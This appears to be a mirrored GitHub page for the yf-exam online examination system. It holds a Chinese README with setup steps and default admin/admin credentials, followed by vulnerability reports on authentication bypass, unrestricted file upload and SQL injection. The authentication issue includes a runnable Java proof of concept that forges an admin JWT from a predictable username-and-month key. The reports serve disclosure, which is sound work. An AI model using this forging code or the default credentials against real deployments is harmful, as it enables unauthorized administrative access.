Giter Club home page Giter Club logo

cleverstupiddog / yf-exam Goto Github PK

View Code? Open in Web Editor NEW
46.0 1.0 12.0 65.38 MB

云帆考试系统是一款基于SpringBoot+Vue开发的考试系统。包含在线考试、用户体系、错题训练、考试规则、智能算分等考试功能,流程通畅、可用于简单的考试或进行二次开发!

Home Page: https://www.yfhl.net

License: MIT License

Java 55.24% HTML 0.99% CSS 0.14% JavaScript 11.40% Vue 29.94% SCSS 2.29%
exam testing learn learning question paper

yf-exam's Introduction

云帆培训考试系统 开源版

项目演示

开源版本:https://lite.yfhl.net
管理账号:admin/admin
学员账号:person/person
注意事项:演示环境数据每天晚上会重新初始化,不要往上面导入重要数据;如果账号密码被改无法登录,请联系我们;或等到第二天再访问 😂

商业版本

如果开源版本无法满足您的需求,或者有需求需要定制,可以考虑我们的商业版本
商业版演示地址:https://exam.yfhl.net
商业版官网地址:https://www.yfhl.net/?plan=osyf

商业版咨询

郭经理:
邮箱:[email protected]
手机:18603038204
微信号:gyh_yinzi

输入图片说明

介绍

一款多角色在线培训考试系统,系统集成了用户管理、角色管理、部门管理、题库管理、试题管理、试题导入导出、考试管理、在线考试、错题训练等功能,考试流程完善。

技术栈

SpringBoot / Shiro / Vue / MySQL

产品功能

系统完善:完善的权限控制和用户系统

权限控制:基于Shiro和JWT开发的权限控制功能。
用户系统:用户管理、部门管理、角色管理等。

多角色:多角色支持

考试端:学生学员角色、支持在线考试、查看分数、训练错题。
管理端:题库管理、试题管理、考试管理、用户部门管理、查看考试情况等等。

定员考试:考试权限定义

完全公开:任何人员都可以参与考试。
指定部门:只有选中部门的人员才可以看到考试。

多题型:常用题型支持

支持题型:单选题、多选题、判断题。
难易程度:普通、困难。

便捷组卷:题库组卷

题库组卷:指定题库、分数、数量;题目、选项随机排序、杜绝作弊

环境要求

JDK 1.8+ 点此下载
Mysql5.7+ 点此下载

安装资源

1、安装JDK1.8
https://cdn.yfhl.net/java-win/jdk-8u181-windows-x64.exe

2、安装MySQL
https://cdn.yfhl.net/java-win/mysql-installer-community-5.7.31.0.msi
-- 安装过程可能需要VC++
-- https://www.microsoft.com/zh-CN/download/details.aspx?id=40784
-- 安装数据库管理工具
https://cdn.yfhl.net/java-win/SQLyog.12.3.1.0.zip

安装视频

https://www.ixigua.com/7041491265027834381?utm_source=xiguastudio

快速运行

1、下载编译好的jar包到本目录(或您自行编译):https://cdn.yfhl.net/lite/exam-api.jar
2、自行安装MySQL数据库(版本最好是5.7),将安装资源中数据库初始化.sql导入到安装好的数据库
3、安装Java环境,要求JDK版本大于1.8
4、请修改外置配置文件:application-local.yml 改成您自己的MySQL配置
5、Windows通过start.bat运行,Linux运行start.sh运行
6、如果无意外,可通过:http://localhost:8101 访问到项目了
7、管理员账号密码:admin/admin 学员账号:person/person

其它支持

网站:https://www.yfhl.net/?plan=osyf QQ交流群:865330294

输入图片说明 主界面 输入图片说明 输入图片说明 输入图片说明 输入图片说明 输入图片说明 输入图片说明 输入图片说明 输入图片说明 输入图片说明

开源版&商业版对比

输入图片说明

yf-exam's People

Contributors

cleverstupiddog avatar liurentian avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

yf-exam's Issues

Authentication Bypass vulnerability

Description

yf-exam is a multi-role online training and examination system. The system integrates functions such as user management, role management, department management, question bank management, test question management, test question import and export, test management, online test, and wrong question training. The process is perfect. The program uses a fixed JWT key, and the stored key uses username format characters. Any user who logged in within 24 hours. A token can be forged with his username to bypass authentication.

Vulnerability details

login

com.yf.exam.modules.sys.user.controller#login()

image

Follow up the interface

com.yf.exam.modules.sys.user.service#lgion()

image

View the implementation class of the interface

com.yf.exam.modules.sys.user.service.impl#login()

image

First check whether the account exists, then check whether it is disabled, then check whether it is a password, and generate a token after passing.

com.yf.exam.modules.sys.user.service.impl#setToken()

image

You can see that it is generated using jwt. Then fill token, id.

com.yf.exam.ability.shiro.jwt#sign()

image
Here you can see that the payload is username, data, and the token is valid for 24 hours. jwt-key is encrypted username, follow up.

com.yf.exam.ability.shiro.jwt#encryptSecret()

image

Here you can see that the jwt-key is to take the md5 value twice. The jwt-key is generated based on the user name and remains unchanged for the current month, so it is very easy to forge.

TEST

Simulate admin login at around 13:44

image
Use poc to generate jwt

image

Import jwt and try to log in

image

After the import is refreshed, it successfully enters the background.

image

poc

import java.io.FileNotFoundException;
import java.security.MessageDigest;
import java.util.Calendar;
import java.util.Date;
import java.io.FileOutputStream;
import java.io.PrintStream;

import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;
import com.auth0.jwt.interfaces.JWTVerifier;
public class Jwt_Test {
    private static final long EXPIRE_TIME = 24 * 60 * 60 * 1000;
    public static String MD5(String str) {

        try {
            MessageDigest md = MessageDigest.getInstance("MD5");
            byte[] array = md.digest(str.getBytes("UTF-8"));
            StringBuilder sb = new StringBuilder();
            for (byte item : array) {
                sb.append(Integer.toHexString((item & 0xFF) | 0x100).substring(1, 3));
            }
            return sb.toString();
        } catch (Exception e) {
            return null;
        }
    }

    private static String encryptSecret(String userName) {

        // 一个简单的登录规则,用户名+当前月份为加密串,意思每个月会变,要重新登录
        // 可自行修改此规则
        Calendar cl = Calendar.getInstance();
        cl.setTimeInMillis(System.currentTimeMillis());
        StringBuffer sb = new StringBuffer(userName)
                .append("&")
                .append(cl.get(Calendar.MONTH));

        // 获取MD5
        String secret = MD5(sb.toString());
//        System.out.println("jwt_key:" + secret);

        return MD5(userName + "&" + secret);
    }

    public static String sign(String username, long time) {
        Date date = new Date(time+EXPIRE_TIME);
        System.out.println("token有效期:" + date);
        Algorithm algorithm = Algorithm.HMAC256(encryptSecret(username));
        // 附带username信息
        System.out.println("jwt-key :"+encryptSecret(username));
        return JWT.create()
                .withClaim("username", username)
                .withExpiresAt(date).sign(algorithm);

    }

    public static void main(String[] args) throws FileNotFoundException {
//        for (long i = 1675576527000L; i < 1675576827000L; i+=1000) {
//            String token = sign("admin", i);  //每秒计算一次jwt
//            System.out.println(token);
//            }
        String token = sign("admin", 1675577612169L);
        System.out.println(token);
        }
}

File Upload Vulnerability

Description

yf-exam is a multi-role online training and examination system. The system integrates user management, role management, department management, question bank management, test question management, test question import and export, test management, online test, wrong question training and other functions, and the test process is perfect. @PostMapping("/common/api/file/upload") When this interface is uploaded, there is no restriction on the suffix of the uploaded file, resulting in any file upload.

Vulnerability details

This interface accepts uploaded files, and then submits them to upload() for processing.

com.yf.exam.ability.upload.controller#upload()

image

Continue to follow up and come to the implementation class of the upload interface.

com.yf.exam.ability.upload.service.impl#upload()

image
You can see that the incoming files are processed here, continue to follow up

com.yf.exam.ability.upload.utils#processPath()

image

Then rename the incoming file

com.yf.exam.ability.upload.utils#renameFile()

image

It can be seen that only the suffix name is intercepted, without filtering, it is directly spliced and put back。

image

Finally, return directly to the upload path.

TEST

Upload file at routing point

image

It can be found that the upload was successful

image

Try to access, you can find that the access is successful。

sql injection vulnerability

describe
Yunfan training and examination system is a multi-role online training and examination system. The system integrates user management, role management, department management, question bank management, test
question management, test question import and export, test management, online test, wrong question Training and other functions, the examination process is perfect. Yunfan Training Examv1.8.0The parameters
passed in are not filtered, resulting insqlInject.

Vulnerability details
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.